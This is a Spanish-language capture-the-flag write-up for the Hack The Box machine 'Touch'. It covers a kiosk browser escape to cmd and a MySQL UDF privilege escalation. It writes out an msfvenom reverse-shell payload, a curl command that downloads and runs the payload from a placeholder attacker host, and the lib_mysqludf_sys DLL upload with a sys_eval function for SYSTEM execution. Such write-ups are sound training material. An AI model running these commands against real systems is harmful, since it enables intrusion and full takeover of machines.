XUT_ / MACHINES / HTB

0102

Touch

HTBMACHINERETIREDEASYSEASON 12
Command ExecutionDatabaseEnumerationHTTPNetworkPort ScanningPrivilege EscalationRCERDPReverse ShellUDFWeb EnumerationWindows

Introduction

Introduction

En la máquina Layover obtuviste un nombre y un código de confirmación de vuelo. ¿Puede que te ayude aquí? Jenny Crawford / KS7X2M.

Getting the Flags

Reconocimiento Inicial

Comenzamos escaneando los puertos abiertos.

Getting the Flags

Ahora analizamos estos puertos más a fondo.

Getting the Flags

Vamos a buscar directorios en la web.

Getting the Flags

Vamos a listar más directorios en estos dos.

Getting the Flags

Vamos a ver cómo se ve la web.


Profundización

Default Software Configuration

Si inspeccionamos la web, nos damos cuenta de que el apartado Forgot your password? no es un botón, pero si lo inspeccionamos con las herramientas de desarrollador se puede observar lo siguiente:

Getting the Flags

Lo tendremos en cuenta para más adelante. Vamos a mirar el archivo status que encontramos.

Getting the Flags

Acabamos de encontrar el serial, lo que implica que tenemos la contraseña por defecto. Vamos a ponerla.

Getting the Flags

Una vez iniciada la sesión, podemos ver el dashboard de gestión del escáner. Vamos a investigar un poco.

Getting the Flags

Parece que las credenciales se pueden leer. Aprovechando que el puerto RDP estaba abierto, vamos a iniciar sesión con:

bash
xfreerdp3 /v:touch.htb /u:'KioskUser' /p:'[REDACTED]' /dynamic-resolution +clipboard

Nos encontramos con lo siguiente:

Getting the Flags

Parece la interfaz de check in de un aeropuerto. Hacemos click en la pantalla.

Getting the Flags

Vamos a seleccionar idioma y a continuar. Aparece la referencia de reserva, donde metemos los datos que teníamos.

Getting the Flags

Llegamos a una página de escaneo.

Getting the Flags

Pero si le damos a escanear salta un error.


Explotación

Recordando el dashboard nos acordamos de que podemos apagar el escáner.

Getting the Flags

Al intentar de nuevo, salta un error con un link.

Getting the Flags

Hacer click en el link nos lleva a un navegador browseable.

Getting the Flags

Unrestricted System Navigation

Vamos a abrir un documento con Crt+O, en concreto la cmd.

Getting the Flags

Le damos a Open file.

Getting the Flags

Y se nos abre una cmd.

Getting the Flags

Vamos a buscar la flag.


Escalada de Privilegios

Shell Stabilization

Ahora toca escalar. Pero lo primero que vamos a hacer es conseguir una shell. Porque este sistema tiene salida rara y además está en inglés, por lo que genera interferencia con nuestro teclado.

En nuestra kali:

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o shell.exe

Después servimos el archivo con:

bash
python3 -m http.server 8000

Abrimos msfconsole y establecemos un listener.

Getting the Flags Getting the Flags

Ahora desde la cmd de la máquina remota, ponemos:

batch
curl -L -o not_suspicious.exe "http://[ATTACKER_IP]:[ATTACKER_PORT]/shell.exe" && not_suspicious.exe

Y le damos a enter, lo que nos da una sesión en Metasploit.

Getting the Flags

Ahora vamos a buscar métodos tradicionales de escalada de privilegios.

Después de un rato buscando no hemos encontrado nada, por lo que decidimos mirar a ver si algún archivo de la aplicación puede darnos una pista.

Getting the Flags

Sensitive Data Disclosure via Harcode

DB Low Privilege User

Y después de navegar por los directorios durante un rato, lo vemos:

Getting the Flags

Está hardcodeada la contraseña de acceso a la base de datos. Con esta contraseña vamos a acceder a la base de datos y a ver qué hay.

CAUTION

Al no ser una consola interactiva, debemos de usar la opción -e para especificar el comando a ejecutar.

Getting the Flags

Esta tabla parece la más interesante.

Getting the Flags

Sin embargo no hay nada que nos sirva después de probar. Por lo que tendremos que buscar más.

DB Root User

Después de un rato, encontramos lo siguiente:

Getting the Flags

La contraseña de root. Sin embargo al probarla para ser Administrator no funciona, no han reutilizado la contraseña del administrador de la base de datos.

Privesc via Library - UDF

Aunque esa ruta está descartada, esta contraseña nos permite mirar los permisos que tenemos sobre las bases de datos.

Getting the Flags

Tenemos permisos sobre archivos y permiso para introducir UDFs (User Defined Functions). Resulta que hay una técnica que se explica en HackTricks:

Getting the Flags

Vamos a crear por tanto un plugin malicioso. El archivo /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll es un dll malicioso con una biblioteca de funciones precompilada que viene integrada con Metasploit.

bash
upload /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll "C:\\MySQL\\lib\\plugin\\lib_mysqludf_sys_64.dll"

Getting the Flags

Una vez subido, vamos a crear una función para ejecutar comandos.

batch
mysql -u root -p"[REDACTED]" -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';"
  • CREATE FUNCTION: Crea la función sys_eval.
  • RETURNS STRING: Define qué resultado devolverá la función.
  • SONAME 'lib_mysqludf_sys_64.dll': Le dice a MySQL que busque el código de esa función dentro del .dll que hemos subido.

Y ahora ejecutamos código.

Getting the Flags

Ya podemos ejecutar código como SYSTEM. Podríamos subir una shell y ejecutarla exactamente igual que hemos hecho para conseguir esta sesión de merterpreter, en otro puerto y ejecutándolo desde sys_eval, pero como esto es un ejercicio de HTB y no un ejercicio de pentesting real, vamos a leer la flag que es lo que nos interesa.


Conclusión

Máquina diferente. La primera parte era bastante fácil, no tenía mucho misterio más allá de una enumeración decente y conocimiento genérico sobre navegadores. Quizá la parte que ponía un poco más de trabas era el paso de apagar el escáner.

La segunda parte, sin embargo se complicaba sustancialmente. Encontrar el método de escalada de privilegios era complicado. Pero no hay mal que por bien no venga, ¡otra técnica más incorporada a nuestro abanico!

En esta máquina hemos trabajado:

  • Enumeración
  • Control de navegador
  • Estabilización de shell
  • Escalada de privilegios vía SQL

Una máquina divertida cuanto menos.

SUCCESS

Hemos obtenido ambas flags.